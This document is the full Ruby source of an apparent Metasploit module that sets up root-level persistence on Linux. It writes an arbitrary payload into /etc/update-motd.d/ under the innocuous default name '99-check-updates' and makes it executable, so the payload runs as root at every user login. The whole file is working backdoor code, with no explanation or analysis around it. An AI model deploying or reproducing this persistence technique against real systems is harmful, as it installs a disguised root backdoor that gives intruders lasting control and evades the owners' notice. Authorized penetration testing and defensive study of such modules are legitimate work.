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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  include Msf::Post::File
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  include Msf::Post::Unix
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'update-motd.d Persistence',
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        'Description' => %q{
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          This module will add a script in /etc/update-motd.d/ in order to persist a payload.
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          The payload will be executed with root privileges everytime a user logs in.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Julien Voisin' ],
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        'Platform' => [ 'unix', 'linux' ],
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        'Arch' => ARCH_CMD,
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        'SessionTypes' => [ 'shell', 'meterpreter' ],
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        'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
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        'Targets' => [ ['Automatic', {}] ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '1999-01-01',
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        'Notes' => {
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          'Stability' => [],
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          'Reliability' => [EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        },
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        'References' => [
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          ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
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        ]
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      )
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    )
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    register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']) ])
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  end
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  def exploit
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    update_path = '/etc/update-motd.d/'
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    unless exists? update_path
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      fail_with Failure::BadConfig, "#{update_path} doesn't exist"
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    end
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    unless writable? update_path
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      fail_with Failure::BadConfig, "#{update_path} is not writable"
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    end
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    backdoor_path = File.join(update_path, datastore['BACKDOOR_NAME'])
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    if exists? backdoor_path
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      fail_with Failure::BadConfig, "#{backdoor_path} is already present"
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    end
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    write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
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    chmod(backdoor_path, 0o755)
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    print_status "#{backdoor_path} written"
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  end
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end
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